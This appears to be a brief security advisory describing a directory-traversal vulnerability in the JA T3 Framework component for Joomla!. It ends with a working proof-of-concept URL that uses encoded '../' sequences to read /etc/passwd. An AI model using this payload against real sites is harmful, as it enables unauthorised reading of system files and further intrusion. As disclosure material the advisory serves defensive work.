source: https://www.securityfocus.com/bid/53039/info
The JA T3 Framework component for Joomla! is prone to a directory-traversal vulnerability because it fails to sufficiently sanitize user-supplied input data.
Exploiting the issue may allow an attacker to obtain sensitive information that could aid in further attacks.
http://www.example.com/jojo/index.php?file=..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2fetc%2fpasswd&jat3action=gzip&type=css&v=1